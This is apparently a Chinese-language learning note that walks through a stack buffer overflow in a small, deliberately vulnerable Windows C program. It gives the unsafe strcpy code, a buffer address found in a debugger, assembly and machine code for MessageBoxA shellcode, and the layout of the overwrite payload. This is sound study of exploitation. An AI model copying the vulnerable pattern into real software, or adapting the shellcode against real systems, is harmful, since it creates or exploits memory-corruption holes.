还是那个程序稍作修改
#include <stdio.h>
#include <windows.h>
#define PASSWORD "1234567"
int verify_password(char *password)
{
int authenticated;
char buffer[44];
authenticated=strcmp(password,PASSWORD);
strcpy(buffer,password);
return authenticated;
}
int main()
{
int valid_flag=0;
char password[1024];
FILE *fp;
LoadLibrary("user32.dll");
if (!(fp=fopen("password.txt","rw+")))
{
printf("未找到文件!\n");
exit(0);
}
fscanf(fp,"%s",password);
valid_flag=verify_password(password);
if (valid_flag)
{
printf("错误!\n");
}
else
{
printf("正确!\n");
}
fclose(fp);
return 0;
}
思路是:将要执行的代码放到buffer中,eip当然覆盖为buffer的起始地址。
首先OD载入定位下buffer的起始地址。输入11个4321.。。。。查看堆栈确定起始地址是0012FAF0。
写个弹出对话框的汇编代码
XOR EBX,EBX
PUSH EBX
PUSH 646F6F67h
PUSH 646F6F67h
MOV EAX,ESP
PUSH EBX
PUSH EAX
PUSH EAX
PUSH EBX
MOV EAX,MessageBoxA
CALL EAX
机器码是:
33 DB 53 68 67 6F 6F 64 68 67 6F 6F 64 8B C4 53 50 50 53 B8 EA 07 D5 77 FF D0
总共44+4(authenticated)+4(ebp)+4(eip)=56个字节,其余的补NOP。最后四字节是0012FAF0,将其对应的字符写入password文件中,运行程序弹出一个对话框。
但是点了OK之后程序崩溃,因为没有写用于安全退出代码的缘故。